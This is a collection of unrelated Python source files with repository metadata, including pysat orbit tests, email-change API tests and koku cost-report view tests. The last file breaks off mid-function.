orbit_info={'index': 'mlt'}) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] times = [[dt.datetime(2008, 12, 31, 4), dt.datetime(2008, 12, 31, 5, 37)], [dt.datetime(2009, 1, 1), dt.datetime(2009, 1, 1, 1, 37)]] for seconds in np.arange(38): day = (dt.datetime(2009, 1, 2) + dt.timedelta(days=int(seconds))) times.append([day, day + dt.timedelta(hours=1, minutes=37, seconds=int(seconds)) - dt.timedelta(seconds=20)]) self.testInst.custom_attach(filter_data2, kwargs={'times': times}) def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestOrbitsGappyData2Xarray(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing_xarray', clean_level='clean', orbit_info={'index': 'mlt'}) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] times = [[dt.datetime(2008, 12, 31, 4), dt.datetime(2008, 12, 31, 5, 37)], [dt.datetime(2009, 1, 1), dt.datetime(2009, 1, 1, 1, 37)]] for seconds in np.arange(38): day = (dt.datetime(2009, 1, 2) + dt.timedelta(days=int(seconds))) times.append([day, day + dt.timedelta(hours=1, minutes=37, seconds=int(seconds)) - dt.timedelta(seconds=20)]) self.testInst.custom_attach(filter_data2, kwargs={'times': times}) def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestOrbitsGappyLongData(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'longitude', 'kind': 'longitude'}) self.testInst.custom_attach(filter_data) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestOrbitsGappyLongDataXarray(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing_xarray', clean_level='clean', orbit_info={'index': 'longitude', 'kind': 'longitude'}) self.testInst.custom_attach(filter_data) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestOrbitsGappyOrbitNumData(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'orbit_num', 'kind': 'orbit'}) self.testInst.custom_attach(filter_data) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestOrbitsGappyOrbitNumDataXarray(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing_xarray', clean_level='clean', orbit_info={'index': 'orbit_num', 'kind': 'orbit'}) self.testInst.custom_attach(filter_data) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestOrbitsGappyOrbitLatData(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing', clean_level='clean', orbit_info={'index': 'latitude', 'kind': 'polar'}) self.testInst.custom_attach(filter_data) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime class TestOrbitsGappyOrbitLatDataXarray(TestGeneralOrbitsMLT): def setup(self): """Runs before every method to create a clean testing setup.""" self.testInst = pysat.Instrument('pysat', 'testing_xarray', clean_level='clean', orbit_info={'index': 'latitude', 'kind': 'polar'}) self.testInst.custom_attach(filter_data) self.stime = pysat.instruments.pysat_testing._test_dates[''][''] def teardown(self): """Runs after every method to clean up previous testing.""" del self.testInst, self.stime

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1e4d25f2a6405b891bfd64d7aab977e5f1458c5a

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py

Python

pythosf/client/provider.py

felliott/pythosf

961d200bdc8e7d35129405ee289d46cb0527ed23

[ "MIT" ]

1

2017-11-21T18:43:01.000Z

pythosf/client/provider.py

felliott/pythosf

961d200bdc8e7d35129405ee289d46cb0527ed23

[ "MIT" ]

null

pythosf/client/provider.py

felliott/pythosf

961d200bdc8e7d35129405ee289d46cb0527ed23

[ "MIT" ]

4

2018-01-31T20:00:38.000Z

2021-10-14T14:04:32.000Z

from .folder import Folder class Provider(Folder): pass

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py

Python

tests/users/test_change_email.py

carbonariy/dvhb-hybrid

adbb250767ea255addc607fb6f6755c9add447db

[ "MIT" ]

27

2018-05-08T16:03:24.000Z

2020-02-20T06:39:19.000Z

tests/users/test_change_email.py

carbonariy/dvhb-hybrid

adbb250767ea255addc607fb6f6755c9add447db

[ "MIT" ]

7

2018-10-20T16:03:36.000Z

2021-11-03T11:09:22.000Z

tests/users/test_change_email.py

carbonariy/dvhb-hybrid

adbb250767ea255addc607fb6f6755c9add447db

[ "MIT" ]

16

2018-12-11T15:34:22.000Z

2022-01-25T00:20:55.000Z

import pytest @pytest.fixture def send_email_change_request(make_request): async def wrapper(new_email_address, expected_status=None, client=None): return await make_request( 'dvhb_hybrid.user:change_email', method='put', json=dict(new_email_address=new_email_address), client=client, expected_status=expected_status) return wrapper @pytest.fixture def approve_email_change_request(make_request): async def wrapper(confirmation_code, expected_status=None): return await make_request( 'dvhb_hybrid.user:change_email', method='post', json=dict(confirmation_code=confirmation_code), expected_status=expected_status) return wrapper @pytest.fixture def get_email_change_requests(app): async def wrapper(new_email_address): return ( await app.m.user_change_email_original_address_request.get_by_new_email(new_email_address), await app.m.user_change_email_new_address_request.get_by_new_email(new_email_address), ) return wrapper @pytest.mark.django_db async def test_send_email_change_request_unauthorized(send_email_change_request): await send_email_change_request(new_email_address='xxx@xxx.xx', expected_status=401) @pytest.mark.django_db async def test_send_email_change_request_same_email(app, test_client, create_new_user, send_email_change_request): client = await test_client(app) user = await create_new_user() await client.authorize(email=user['email'], password=user['password']) await send_email_change_request(new_email_address=user['email'], client=client, expected_status=400) @pytest.mark.django_db async def test_send_email_change_request_successful( app, test_client, create_new_user, send_email_change_request, get_email_change_requests): client = await test_client(app) user = await create_new_user() new_email_address = 'xxx@xxx.xx' await client.authorize(email=user['email'], password=user['password']) await send_email_change_request(new_email_address=new_email_address, client=client, expected_status=200) orig_address_request, new_address_request = await get_email_change_requests(new_email_address) assert orig_address_request is not None assert new_address_request is not None @pytest.mark.django_db async def test_approve_email_change_request_invalid_code(approve_email_change_request): await approve_email_change_request(confirmation_code='xxx', expected_status=400) @pytest.mark.django_db async def test_approve_email_change_request_unknown_code(approve_email_change_request): await approve_email_change_request(confirmation_code='F' * 32, expected_status=404) @pytest.mark.django_db async def test_approve_email_change_request_successful( app, test_client, create_new_user, send_email_change_request, approve_email_change_request, get_email_change_requests, get_user): client = await test_client(app) user = await create_new_user() new_email_address = 'xxx@xxx.xx' await client.authorize(email=user['email'], password=user['password']) # Request email changing await send_email_change_request(new_email_address=new_email_address, client=client, expected_status=200) # Confirm both original and new address codes orig_address_request, new_address_request = await get_email_change_requests(new_email_address) await approve_email_change_request(confirmation_code=orig_address_request.code, expected_status=200) await approve_email_change_request(confirmation_code=new_address_request.code, expected_status=200) # Requests should be confirmed orig_address_request, new_address_request = await get_email_change_requests(new_email_address) assert orig_address_request.is_confirmed() assert new_address_request.is_confirmed() # User email should be changed user = await get_user(user_id=user['id']) assert user.email == new_email_address # Attempt to confirm same codes again await approve_email_change_request(confirmation_code=orig_address_request.code, expected_status=409) await approve_email_change_request(confirmation_code=new_address_request.code, expected_status=409)

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1e9e9f3ac604ee2049ab42a6dc4d64cc64fd000a

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py

Python

ado/apps/passengers/admin.py

edderleonardo/ado

fa3478e3aa55b71e7627a9b5017fa2fbff196c31

[ "BSD-3-Clause" ]

null

ado/apps/passengers/admin.py

edderleonardo/ado

fa3478e3aa55b71e7627a9b5017fa2fbff196c31

[ "BSD-3-Clause" ]

null

ado/apps/passengers/admin.py

edderleonardo/ado

fa3478e3aa55b71e7627a9b5017fa2fbff196c31

[ "BSD-3-Clause" ]

null

from django.contrib import admin from ado.apps.passengers.models import Passenger admin.site.register(Passenger)

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177

py

Python

tests/helpers/examples/cart/serializers.py

hyperleex/dependencies

188843f616670a90e5e4a4c48b2fb954a460c2ee

[ "BSD-2-Clause" ]

null

tests/helpers/examples/cart/serializers.py

hyperleex/dependencies

188843f616670a90e5e4a4c48b2fb954a460c2ee

[ "BSD-2-Clause" ]

null

tests/helpers/examples/cart/serializers.py

hyperleex/dependencies

188843f616670a90e5e4a4c48b2fb954a460c2ee

[ "BSD-2-Clause" ]

null

# -*- coding: utf-8 -*- from rest_framework import serializers class ItemSerializer(serializers.Serializer): pass class UserSerializer(serializers.Serializer): pass

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94b0349c3b4dedd57e6496e7f1fe838615d6ddc5

48

py

Python

samples/src/main/resources/datasets/python/32.py

sritchie/kotlingrad

8165ed1cd77220a5347c58cded4c6f2bcf22ee30

[ "Apache-2.0" ]

11

2020-12-19T01:19:44.000Z

2021-12-25T20:43:33.000Z

src/main/resources/datasets/python/32.py

breandan/katholic

081c39f3acc73ff41f5865563debe78a36e1038f

[ "Apache-2.0" ]

null

src/main/resources/datasets/python/32.py

breandan/katholic

081c39f3acc73ff41f5865563debe78a36e1038f

[ "Apache-2.0" ]

2

2021-01-25T07:59:20.000Z

2021-08-07T07:13:49.000Z

def boolop4(a, b, c): return a or (b and c)

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6

94b9b564e0b9953a58896a6571cdbd9ffc588590

29

py

Python

tracky/__init__.py

sparrowml/tracky

6ed1b1a5542f1586e37a25d03e5dc047e1595fa9

[ "MIT" ]

9

2018-10-28T10:34:25.000Z

2022-01-09T08:56:26.000Z

tracky/__init__.py

sparrowml/tracky

6ed1b1a5542f1586e37a25d03e5dc047e1595fa9

[ "MIT" ]

null

tracky/__init__.py

sparrowml/tracky

6ed1b1a5542f1586e37a25d03e5dc047e1595fa9

[ "MIT" ]

1

2022-01-09T08:56:27.000Z

from .tracker import Tracker

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6

94ce63db57e6355feec7bb3da1b97d6ecdfdae9b

217

py

Python

tests/wicked/test_basic.py

fevangelista/pyWicked

9bc0e13f6e45c86222ea95fdadf1cb66eb59862f

[ "MIT" ]

5

2017-06-04T06:24:40.000Z

2022-02-12T04:58:46.000Z

tests/wicked/test_basic.py

fevangelista/pyWicked

9bc0e13f6e45c86222ea95fdadf1cb66eb59862f

[ "MIT" ]

3

2021-12-13T22:46:38.000Z

2021-12-14T17:07:02.000Z

tests/wicked/test_basic.py

fevangelista/pyWicked

9bc0e13f6e45c86222ea95fdadf1cb66eb59862f

[ "MIT" ]

1

2019-10-10T20:17:18.000Z

def test_import(): import wicked def test_orbital_space(): import wicked wicked.reset_space() assert wicked.num_spaces() == 0 if __name__ == "__main__": test_import() test_orbital_space()

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94f33a1947f604337df43a9b0ec594b452d97844

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py

Python

koku/api/report/test/aws/openshift/test_views.py

rubik-ai/koku

3255d1c217b7b6685cb2e130bf4e025946e76fac

[ "Apache-2.0" ]

null

koku/api/report/test/aws/openshift/test_views.py

rubik-ai/koku

3255d1c217b7b6685cb2e130bf4e025946e76fac

[ "Apache-2.0" ]

3

2020-04-20T21:42:22.000Z

2022-03-18T19:34:12.000Z

koku/api/report/test/aws/openshift/test_views.py

rubik-ai/koku

3255d1c217b7b6685cb2e130bf4e025946e76fac

[ "Apache-2.0" ]

null

# # Copyright 2021 Red Hat Inc. # SPDX-License-Identifier: Apache-2.0 # """Test the OCP on AWS Report views.""" import datetime import random from urllib.parse import quote_plus from urllib.parse import urlencode from dateutil import relativedelta from django.db.models import Count from django.db.models import F from django.db.models import Sum from django.urls import reverse from rest_framework import status from rest_framework.test import APIClient from rest_framework_csv.renderers import CSVRenderer from tenant_schemas.utils import tenant_context from api.iam.test.iam_test_case import IamTestCase from api.query_handler import TruncDayString from api.utils import DateHelper from reporting.models import OCPAWSCostLineItemDailySummaryP URLS = [ reverse("reports-openshift-aws-costs"), reverse("reports-openshift-aws-storage"), reverse("reports-openshift-aws-instance-type"), ] GROUP_BYS = ["project", "cluster", "node", "account", "region", "instance_type", "service", "product_family"] class OCPAWSReportViewTest(IamTestCase): """Tests the report view.""" @classmethod def setUpClass(cls): """Set up the test class.""" super().setUpClass() cls.dh = DateHelper() cls.ten_days_ago = cls.dh.n_days_ago(cls.dh._now, 9) def test_execute_query_ocp_aws_storage(self): """Test that OCP on AWS Storage endpoint works.""" url = reverse("reports-openshift-aws-storage") client = APIClient() response = client.get(url, **self.headers) expected_end_date = self.dh.today.date().strftime("%Y-%m-%d") expected_start_date = self.ten_days_ago.strftime("%Y-%m-%d") self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() dates = sorted([item.get("date") for item in data.get("data")]) self.assertEqual(dates[0], expected_start_date) self.assertEqual(dates[-1], expected_end_date) for item in data.get("data"): if item.get("values"): values = item.get("values")[0] self.assertTrue("usage" in values) self.assertTrue("cost" in values) def test_execute_query_ocp_aws_storage_last_thirty_days(self): """Test that OCP CPU endpoint works.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = {"filter[time_scope_value]": "-30", "filter[time_scope_units]": "day", "filter[resolution]": "daily"} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) expected_end_date = self.dh.today expected_start_date = self.dh.n_days_ago(expected_end_date, 29) expected_end_date = str(expected_end_date.date()) expected_start_date = str(expected_start_date.date()) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() dates = sorted([item.get("date") for item in data.get("data")]) self.assertEqual(dates[0], expected_start_date) self.assertEqual(dates[-1], expected_end_date) for item in data.get("data"): if item.get("values"): values = item.get("values")[0] self.assertTrue("usage" in values) self.assertTrue("cost" in values) def test_execute_query_ocp_aws_storage_this_month(self): """Test that data is returned for the full month.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) expected_date = self.dh.today.strftime("%Y-%m") self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() dates = sorted([item.get("date") for item in data.get("data")]) self.assertEqual(dates[0], expected_date) self.assertNotEqual(data.get("data")[0].get("values", []), []) values = data.get("data")[0].get("values")[0] self.assertTrue("usage" in values) self.assertTrue("cost" in values) def test_execute_query_ocp_aws_storage_this_month_daily(self): """Test that data is returned for the full month.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = {"filter[resolution]": "daily", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month"} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) expected_start_date = self.dh.this_month_start.strftime("%Y-%m-%d") expected_end_date = self.dh.today.strftime("%Y-%m-%d") self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() dates = sorted([item.get("date") for item in data.get("data")]) self.assertEqual(dates[0], expected_start_date) self.assertEqual(dates[-1], expected_end_date) for item in data.get("data"): if item.get("values"): values = item.get("values")[0] self.assertTrue("usage" in values) self.assertTrue("cost" in values) def test_execute_query_ocp_aws_storage_last_month(self): """Test that data is returned for the last month.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-2", "filter[time_scope_units]": "month", } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) expected_date = self.dh.last_month_start.strftime("%Y-%m") self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() dates = sorted([item.get("date") for item in data.get("data")]) self.assertEqual(dates[0], expected_date) self.assertIsNotNone(data.get("data")[0].get("values")) self.assertNotEqual(data.get("data")[0].get("values"), []) values = data.get("data")[0].get("values")[0] self.assertTrue("usage" in values) self.assertTrue("cost" in values) def test_execute_query_ocp_aws_storage_last_month_daily(self): """Test that data is returned for the full month.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = {"filter[resolution]": "daily", "filter[time_scope_value]": "-2", "filter[time_scope_units]": "month"} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) expected_start_date = self.dh.last_month_start.strftime("%Y-%m-%d") expected_end_date = self.dh.last_month_end.strftime("%Y-%m-%d") self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() dates = sorted([item.get("date") for item in data.get("data")]) self.assertEqual(dates[0], expected_start_date) self.assertEqual(dates[-1], expected_end_date) for item in data.get("data"): if item.get("values"): values = item.get("values")[0] self.assertTrue("usage" in values) self.assertTrue("cost" in values) def test_execute_query_ocp_aws_storage_group_by_limit(self): """Test that OCP Mem endpoint works with limits.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = { "group_by[node]": "*", "filter[limit]": "1", "filter[time_scope_units]": "day", "filter[time_scope_value]": "-10", "filter[resolution]": "daily", } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) data = response.data with tenant_context(self.tenant): totals = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .filter(product_family__contains="Storage") .values(*["usage_start"]) .annotate(usage=Sum("usage_amount")) ) totals = {total.get("usage_start").strftime("%Y-%m-%d"): total.get("usage") for total in totals} self.assertIn("nodes", data.get("data")[0]) # assert the others count is correct meta = data.get("meta") self.assertEqual(meta.get("others"), 2) # Check if limit returns the correct number of results, and # that the totals add up properly for item in data.get("data"): if item.get("nodes"): date = item.get("date") projects = item.get("nodes") self.assertTrue(len(projects) <= 2) if len(projects) == 2: self.assertEqual(projects[1].get("node"), "Others") usage_total = projects[0].get("values")[0].get("usage", {}).get("value") + projects[1].get( "values" )[0].get("usage", {}).get("value") self.assertAlmostEqual(usage_total, totals.get(date)) def test_others_count_large_limit(self): """Test that OCP Mem endpoint works with limits.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = { "group_by[node]": "*", "filter[limit]": "100", "filter[time_scope_units]": "day", "filter[time_scope_value]": "-10", "filter[resolution]": "daily", } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) data = response.data # assert the others count is correct meta = data.get("meta") self.assertEqual(meta.get("others"), 0) def test_execute_query_ocp_aws_storage_with_delta(self): """Test that deltas work for OpenShift on AWS storage.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = { "delta": "usage", "filter[resolution]": "daily", "filter[time_scope_value]": "-1", "filter[time_scope_units]": "month", } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.data this_month_start = self.dh.this_month_start last_month_start = self.dh.last_month_start date_delta = relativedelta.relativedelta(months=1) def date_to_string(dt): return dt.strftime("%Y-%m-%d") def string_to_date(dt): return datetime.datetime.strptime(dt, "%Y-%m-%d").date() with tenant_context(self.tenant): current_total = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=this_month_start) .filter(product_family__contains="Storage") .aggregate(usage=Sum(F("usage_amount"))) .get("usage") ) current_total = current_total if current_total is not None else 0 current_totals = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=this_month_start) .filter(product_family__contains="Storage") .annotate(**{"date": TruncDayString("usage_start")}) .values(*["date"]) .annotate(usage=Sum(F("usage_amount"))) ) prev_totals = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=last_month_start) .filter(usage_start__lt=this_month_start) .filter(product_family__contains="Storage") .annotate(**{"date": TruncDayString("usage_start")}) .values(*["date"]) .annotate(usage=Sum(F("usage_amount"))) ) current_totals = {total.get("date"): total.get("usage") for total in current_totals} prev_total_dates = [ total.get("date") for total in prev_totals if date_to_string(string_to_date(total.get("date")) + date_delta) in current_totals ] prev_totals = { date_to_string(string_to_date(total.get("date")) + date_delta): total.get("usage") for total in prev_totals if date_to_string(string_to_date(total.get("date")) + date_delta) in current_totals } prev_total = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__in=prev_total_dates) .filter(product_family__contains="Storage") .aggregate(usage=Sum(F("usage_amount"))) .get("usage") ) prev_total = prev_total if prev_total is not None else 0 expected_delta = current_total - prev_total delta = data.get("meta", {}).get("delta", {}).get("value") self.assertEqual(delta, expected_delta) for item in data.get("data"): date = item.get("date") expected_delta = current_totals.get(date, 0) - prev_totals.get(date, 0) values = item.get("values", []) delta_value = 0 if values: delta_value = values[0].get("delta_value") self.assertAlmostEqual(delta_value, expected_delta) def test_execute_query_ocp_aws_storage_group_by_project(self): """Test that grouping by project filters data.""" with tenant_context(self.tenant): # Force Django to do GROUP BY to get nodes projects = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .filter(product_family__contains="Storage") .values(*["namespace"]) .annotate(project_count=Count("namespace")) .all() ) self.assertNotEqual(len(projects), 0) project_of_interest = projects[0].get("namespace") url = reverse("reports-openshift-aws-storage") client = APIClient() params = {"group_by[project]": project_of_interest} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() for entry in data.get("data", []): for project in entry.get("projects", []): self.assertEqual(project.get("project"), project_of_interest) def test_execute_query_ocp_aws_storage_group_by_cluster(self): """Test that grouping by cluster filters data.""" with tenant_context(self.tenant): # Force Django to do GROUP BY to get nodes clusters = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .filter(product_family__contains="Storage") .values(*["cluster_id"]) .annotate(cluster_count=Count("cluster_id")) .all() ) self.assertNotEqual(len(clusters), 0) cluster_of_interest = clusters[0].get("cluster_id") url = reverse("reports-openshift-aws-storage") client = APIClient() params = {"group_by[cluster]": cluster_of_interest} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() for entry in data.get("data", []): for cluster in entry.get("clusters", []): self.assertEqual(cluster.get("cluster"), cluster_of_interest) def test_execute_query_group_by_pod_fails(self): """Test that grouping by pod filters data.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = {"group_by[pod]": "*"} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_execute_query_ocp_aws_storage_group_by_node(self): """Test that grouping by node filters data.""" with tenant_context(self.tenant): # Force Django to do GROUP BY to get nodes nodes = ( OCPAWSCostLineItemDailySummaryP.objects.values(*["node"]) .filter(usage_start__gte=self.ten_days_ago) .filter(product_family__contains="Storage") .values(*["node"]) .annotate(node_count=Count("node")) .all() ) self.assertNotEqual(len(nodes), 0) node_of_interest = nodes[0].get("node") url = reverse("reports-openshift-aws-storage") client = APIClient() params = {"group_by[node]": node_of_interest} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() for entry in data.get("data", []): for node in entry.get("nodes", []): self.assertEqual(node.get("node"), node_of_interest) def test_execute_query_ocp_aws_storage_with_tag_filter(self): """Test that data is filtered by tag key.""" with tenant_context(self.tenant): labels = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .filter(product_family__contains="Storage") .values(*["tags"]) .first() ) self.assertIsNotNone(labels) tags = labels.get("tags") filter_key = list(tags.keys())[0] filter_value = tags.get(filter_key) totals = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .filter(**{f"tags__{filter_key}": filter_value}) .filter(product_family__contains="Storage") .aggregate(**{"usage": Sum("usage_amount"), "cost": Sum(F("unblended_cost") + F("markup_cost"))}) ) url = reverse("reports-openshift-aws-storage") client = APIClient() params = {f"filter[tag:{filter_key}]": filter_value} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() data_totals = data.get("meta", {}).get("total", {}) for key in totals: expected = float(totals[key]) if key == "cost": result = data_totals.get(key, {}).get("total").get("value") else: result = data_totals.get(key, {}).get("value") self.assertEqual(result, expected) def test_execute_query_ocp_aws_storage_with_wildcard_tag_filter(self): """Test that data is filtered to include entries with tag key.""" with tenant_context(self.tenant): labels = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .filter(product_family__contains="Storage") .values(*["tags"]) .first() ) self.assertIsNotNone(labels) tags = labels.get("tags") filter_key = list(tags.keys())[0] totals = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .filter(**{"tags__has_key": filter_key}) .filter(product_family__contains="Storage") .aggregate(**{"usage": Sum("usage_amount"), "cost": Sum(F("unblended_cost") + F("markup_cost"))}) ) url = reverse("reports-openshift-aws-storage") client = APIClient() params = {f"filter[tag:{filter_key}]": "*"} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() data_totals = data.get("meta", {}).get("total", {}) for key in totals: expected = float(totals[key]) if key == "cost": result = data_totals.get(key, {}).get("total").get("value") else: result = data_totals.get(key, {}).get("value") self.assertEqual(result, expected) def test_execute_query_ocp_aws_storage_with_tag_group_by(self): """Test that data is grouped by tag key.""" with tenant_context(self.tenant): labels = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .filter(product_family__contains="Storage") .values(*["tags"]) .first() ) self.assertIsNotNone(labels) self.assertNotEqual(len(labels), 0) tags = labels.get("tags") group_by_key = list(tags.keys())[0] url = reverse("reports-openshift-aws-storage") client = APIClient() params = {f"group_by[tag:{group_by_key}]": "*"} url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() data = data.get("data", []) expected_keys = ["date", group_by_key + "s"] for entry in data: self.assertEqual(list(entry.keys()), expected_keys) def test_execute_query_ocp_aws_storage_with_group_by_tag_and_limit(self): """Test that data is grouped by tag key and limited.""" with tenant_context(self.tenant): labels = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.dh.last_month_start) .filter(usage_start__lte=self.dh.last_month_end) .filter(product_family__contains="Storage") .values(*["tags"]) .first() ) self.assertIsNotNone(labels) self.assertNotEqual(len(labels), 0) tags = labels.get("tags") group_by_key = list(tags.keys())[0] plural_key = group_by_key + "s" url = reverse("reports-openshift-aws-storage") client = APIClient() params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-2", "filter[time_scope_units]": "month", f"group_by[tag:{group_by_key}]": "*", "filter[limit]": 2, } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() data = data.get("data", []) # default ordered by usage previous_tag_usage = data[0].get(plural_key, [])[0].get("values", [{}])[0].get("usage", {}).get("value") for entry in data[0].get(plural_key, []): current_tag_usage = entry.get("values", [{}])[0].get("usage", {}).get("value") if "Other" not in entry.get(group_by_key): self.assertTrue(current_tag_usage <= previous_tag_usage) previous_tag_usage = current_tag_usage def test_execute_query_ocp_aws_storage_with_group_by_and_limit(self): """Test that data is grouped by and limited.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = { "group_by[node]": "*", "filter[limit]": 1, "filter[resolution]": "monthly", "filter[time_scope_value]": "-2", "filter[time_scope_units]": "month", } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() data = data.get("data", []) for entry in data: other = entry.get("nodes", [])[-1:] self.assertNotEqual(other, []) self.assertIn("Other", other[0].get("node")) def test_execute_query_ocp_aws_storage_with_group_by_order_by_and_limit(self): """Test that data is grouped by and limited on order by.""" url = reverse("reports-openshift-aws-storage") client = APIClient() params = { "filter[resolution]": "monthly", "filter[time_scope_value]": "-2", "filter[time_scope_units]": "month", "group_by[node]": "*", "order_by[usage]": "desc", "filter[limit]": 1, } url = url + "?" + urlencode(params, quote_via=quote_plus) response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) data = response.json() data = data.get("data", []) self.assertNotEqual(data, []) self.assertNotEqual(data[0].get("nodes", []), []) self.assertNotEqual(data[0].get("nodes", [])[0].get("values", []), []) previous_usage = data[0].get("nodes", [])[0].get("values", [])[0].get("usage", {}).get("value") self.assertIsNotNone(previous_usage) for entry in data[0].get("nodes", []): current_usage = entry.get("values", [])[0].get("usage", {}).get("value") self.assertTrue(current_usage <= previous_usage) previous_usage = current_usage def test_get_costs(self): """Test costs reports runs with a customer owner.""" url = reverse("reports-openshift-aws-costs") client = APIClient() response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_200_OK) json_result = response.json() self.assertIsNotNone(json_result.get("data")) self.assertIsInstance(json_result.get("data"), list) self.assertTrue(len(json_result.get("data")) > 0) def test_get_costs_invalid_query_param(self): """Test costs reports runs with an invalid query param.""" qs = "group_by%5Binvalid%5D=account1&filter%5Bresolution%5D=daily" url = reverse("reports-openshift-aws-costs") + "?" + qs client = APIClient() response = client.get(url, **self.headers) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_get_costs_csv(self): """Test CSV output of costs reports.""" url = reverse("reports-openshift-aws-costs") client = APIClient(HTTP_ACCEPT="text/csv") response = client.get(url, **self.headers) response.render() self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(response.accepted_media_type, "text/csv") self.assertIsInstance(response.accepted_renderer, CSVRenderer) def test_execute_query_ocp_aws_costs_group_by_project(self): """Test that grouping by project filters data.""" with tenant_context(self.tenant): # Force Django to do GROUP BY to get nodes projects = ( OCPAWSCostLineItemDailySummaryP.objects.filter(usage_start__gte=self.ten_days_ago) .values(*["namespace"]) 